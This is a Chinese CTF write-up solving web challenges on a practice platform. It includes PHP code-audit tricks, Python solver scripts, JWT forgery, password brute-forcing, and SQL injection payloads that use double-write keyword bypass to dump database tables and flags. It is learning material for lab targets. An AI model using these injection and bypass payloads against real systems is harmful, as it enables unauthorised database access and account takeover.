CTF论剑场(web) write up

web26

直接给你一串代码

 <?php
$num=$_GET['num'];
$str=$_GET['str'];
show_source(__FILE__);
if (isset($num)&&isset($str)) {if (preg_match('/\d+/sD',$str)) {echo "vagetable hhhh";exit();}$result=is_numeric($num) and is_numeric($str);if ($result) {include "flag.php";echo "$flag";}else{echo "vagetablessssss";}
}
?>

preg_match()函数是用于正则表达式的匹配的
is_numeric() 函数用于检测变量是否为数字或数字字符串
\d 基本是用来匹配数字
所以num的输入得是数字,但是str不能是数字
所以构造playload:num=1&str=‘a’

web1


又是代码审计的题目
file_get_contents() 函数把整个文件读入一个字符串中。
extract — 从数组中将变量导入到当前的符号表,涉及变量覆盖漏洞(该函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。),
trim — 去除字符串首尾处的空白字符(或者其他字符)。
playload:a=&b=reader

web9

这关一看,就想到他是要我们用PUT方法提交bugku,就能得到flag
在用base64解码
得到flag{T7l8xs9fc1nct8NviPTbn3fG0dzX9V}

web2

这一关要快速算出复杂的运算,显然不行,只能用python脚本解决

import requests;
import re;url = "http://123.206.31.85:10002/";
r = requests.session();
r1 = r.get(url);
r1.encoding = r1.apparent_encoding;
demo = r1.text;
math = str(re.findall("(.*?)</p>",demo))[2:-2];
print(math);
ans = eval(math);
playload = {"result":ans};
res = r.post(url,data=playload);
print(res.text);

web6

这一关跟你玩心眼
线索就在查看源代码的最底层


猜测是密码

web11


这一关咋一看真啥都没有,但是看到标题robots,说明是robots协议

发现一个敏感的页面

看这样子得提交一个一串字符串,这个字符串用md5加密后前六个字符是240ala,但是刷新后又变得不一样了,看来又得写python脚本了

import requests;
import re;
import hashlib;def gettoken(text):m1 = hashlib.md5();print(m1);m1.update(text.encode("utf-8"));token = m1.hexdigest();return token;
def main():for i in range(0,9999999):if gettoken(str(i))[0:6]=="28fa6a":print(i);break;main()

web13


![在这里插入图片描述](https://img-blog.csdnimg.cn/20191109210840709.png

日志审计

打开这个文件,头一件事就是搜索有没有存在flag字符串
结果发现一堆,仔细观察后

发现每一段最后就是%3D后面,–的前面的数值不一样,只是数值,盲猜是ASCII值,再写一次python脚本

import re;
f = open("/media/reader-l/Data/STUDENT/P1/2.txt");
line = 1;
while line:line = f.readline();if line != '':left = re.search('%3D',line).end();right = re.search('--',line).start();print(chr(int(line[left:right])),end='');
f.close();

web18

Sql injection

对该网站一通瞎点,找到注入点
然后通过http://123.206.31.85:10018/list.php?id=1’ 返回错误
和http://123.206.31.85:10018/list.php?id=1’–+ 返回正常,
发现是单引号字符型的
然后正常用union select 1,2,3–+ …
发现union select 到10,回显都不正常用 and , or ,也发现回显不正常。。。
猜测有对这些进行过滤,试试双写绕过


成功发现字段数是3
-1' ununionion seselectlect 1,database(),user()--+猜测我们想要的东西

-1' ununionion seselectlect 1,(seselectlect group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'),3 --+
-1' ununionion seselectlect 1,(seselectlect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'),3 --+
-1' ununionion seselectlect 1,(seselectlect group_concat(flag) from web18.flag),3 --+


*

web20*

import re;
import  requests;
import hashlib;
import random;
import time;def gettoken(text):m1 = hashlib.md5();print(m1);m1.update(text.encode("utf-8"));token = m1.hexdigest();return  token;def main():r = requests.session();urllen = 160;url = 'http://123.206.31.85:10020/?key=' + str(gettoken(str(int(time.time())))) + str(random.randint(0, 9));while urllen == 160:s = r.get(url);html = s.text;urllen = len(html);print(url);print(html);main();

看到这题,话不多说,贴代码
其实这题的动态密文是时间戳的md5加密+一位随机数

web25

这一题一直不懂在考啥。。看了网上的write up,
那些大佬是先用御剑扫了一下,发现有shell.php,那是真正的填写位置,然后那个下载页面,只要把2去掉就能得到正常的回显了,然后把得到的字符串一个一个填写到shell.php试试,就能得到flag了

web3


看到这页面,我一开始以为是upload的题,结果。。。。不管怎么上传都不行。。。,后来看了一下url,发现怎么那么像文件包含

结果还真是
关于文件包含漏洞可以看
这里

web4




万能秘钥题

web15


一脸懵逼,index变成了1ndex,把他改回去,再随便提交个cat就过了

web21

看到file_get_contents()以为是文件包含,但是利用了各种姿势都不行,没思路。。。待会看看别人怎么弄的吧

web23


用御剑扫了下,发现了robots.txt readme.txt login.php 几处敏感页面



上面的readme.txt 中发现的admin 123 应该是一个用户的账号和密码,输进去看看

发现密码应该是修改过了,同时我想把readme.txt中的乱码变成可读的看看

从密码只支持三位数字,我们可以采用burp 中的爆破模式来解决了
没有三位数字的字典的可以用crunch来生成



677这个别的playload长度不一样,可以说就是密码了

web10

这一关主要了解json web token的知识
具体知识点看这篇文章吧
看到该界面,首先会想到先用弱口令来试试、万能密码、注入啥的,但是题目已经提醒是关于jwt的,所以我们也不啰嗦了
首先用burp转包
发现一个NNVTU23LGEZDG===,先去用base64解下吧,发现不行,有用base32来解
获得账号和密码后成功登入
将user.php去掉看看能不能看到敏感目录
其中有一个L3yx.php.swp的文件,这个可以还原成php的文件的,具体还原方法用 vi -r L3yx.php.swp就行了(linux)具体代码我就不复制了(不知道为啥格式一直不对)
我们可以获得key=L3yx----+++±—
现在我们拿到密钥了,我们可以伪造成L3xy用户登录了
首先拿着我们kk用户的token到jwt.io网站
将我们构造的iat、exp以及account和密钥区改为上图所示,获得新的token,将其复制到burp去访问user.php页面,或得flag

未完待续

CTF论剑场(web) write up 未完待续相关推荐

  1. Spring Boot web开发(未完待续)

    addViewController请求 attention: 想要把网站的图标换掉就在static下放一个 favicon.ico 的图标图片即可 Spring MVC 5.0.5官方文档 stati ...

  2. CTF论剑场web题目(持续更新)--WEB2

    web2 题目让在三秒内计算,首先试了试能不能前段绕过,发现不行,抓包也没有什么有用的信息,那就只能上脚本了,刚好,作为萌新的我,不会写脚本那就只能感谢大佬的脚本了: 脚本转自:https://www ...

  3. 《图解 HTTP》读书笔记(未完待续)

    ARP 协议(Address Resolution Protocol)一种以解析地址的协议,根据通信双方的 IP 地址就可以查出对应的 MAC 地址. MAC( Media Access Contro ...

  4. pythonb超分辨成像_Papers | 超分辨 + 深度学习(未完待续)

    1. SRCNN 1.1. Contribution end-to-end深度学习应用在超分辨领域的开山之作(非 end-to-end 见 Story.3 ). 指出了超分辨方向上传统方法( spar ...

  5. 苹果IOS企业开发者账号怎么申请——苹果账号申请记录(未完待续)

    乐易考教育新开发了一款求职APP--<职场星座>,安卓版本已经开发上线,目前正在持续更新中,包括页面图片.按钮.表格内容等.iOS版本同时也在开发当中.因此,我需要申请一个苹果iOS企业开 ...

  6. mega raid linux,在lsi megaraid sas 8204elp 装linux系统(未完待续)

    在lsi megaraid sas 8204elp 装linux系统(未完待续) (2009-05-06 13:24:00) 标签: 杂谈 在目前最新的linux内核中,没有8204elp的raid驱 ...

  7. 学习前端的实用网站——未完待续

    学习前端的实用网站--未完待续 一.学习类网站 1.视频教程 2.技术分享 3.大牛博客 4.参考手册 二.功能类网站 1.颜色 2.图标 3.字体 4.素材 三.辅助类网站 一.学习类网站 1.视频 ...

  8. 总结2019,规划2020,未完待续

    在这么一个生活富足.世界和平的年代时间总是那么短暂,2019也成为了过去式,2020新的一年也到来了,所以这是一篇总结文,写给迷茫的我自己,不知道自己要干什么的时候看看这篇博文,总结2019,展望20 ...

  9. 《今日简史》读书笔记(未完待续)

    <今日简史>读书笔记(未完待续) 这本书是尤瓦尔·赫拉利的简史三部曲的最后一本,前2本书是<未来简史>和<人类简史>.根据豆瓣上网友的评价,这本书是尤瓦尔·赫拉利写 ...

最新文章

  1. php远程下载头像,远程使用gravatar头像
  2. js中的preventDefault
  3. Zookeeper 安装和配置---学习三
  4. Verilog HDL语言实现的单周期CPU设计(全部代码及其注释)
  5. Linux Storage入门学习
  6. 揪出占用磁盘空间的罪魁祸首-企业生产实战
  7. soapUI中多个TestCase之间传递参数
  8. java 父类构造函数_Java基础系列 - 子类继承父类,调用父类的构造函数
  9. fatal: Not a git repository (or any of the parent directories): .git的解决办法
  10. 欧几里得算法(辗转相除法)
  11. Java实现图片上传
  12. MPEG-2 TS流结构浅析
  13. oracle和mssql价格,Oracle与MSSql比对
  14. 【论文】写毕业论文过程中遇到的问题及解决方式记录
  15. vs code里面的less插件一直报错_ipad4现在怎么登微信?一直显示微信版本过低怎么办...
  16. 【英雄九日集训】(七月第一轮)第一天——数组
  17. CommandArgument的一种用法
  18. vue——省市区三级联动demo
  19. 报错:cannot match operand(s)in the condition to the corresponding edges in the enclosing event control
  20. Navicat ORA-12737 ZHS16GBK

热门文章

  1. 火影忍者我的世界服务器文件版,我的世界火影忍者mod
  2. React Native学习提纲
  3. 8个最有含金量的云计算和大数据认证
  4. 实践数据湖iceberg 第五课 hive catalog特点
  5. 【Unity】Unity报错success actual == (UInt64)size
  6. 安装算量软件功能操作_安装算量如何批量布置立管
  7. 学习最重要是方法,管理最重要是高度
  8. emscriptem编译c++文件或项目
  9. 计算机cad职称考试模拟题,2012职称计算机AutoCAD考前模拟试题及答案(3)
  10. OpenOffice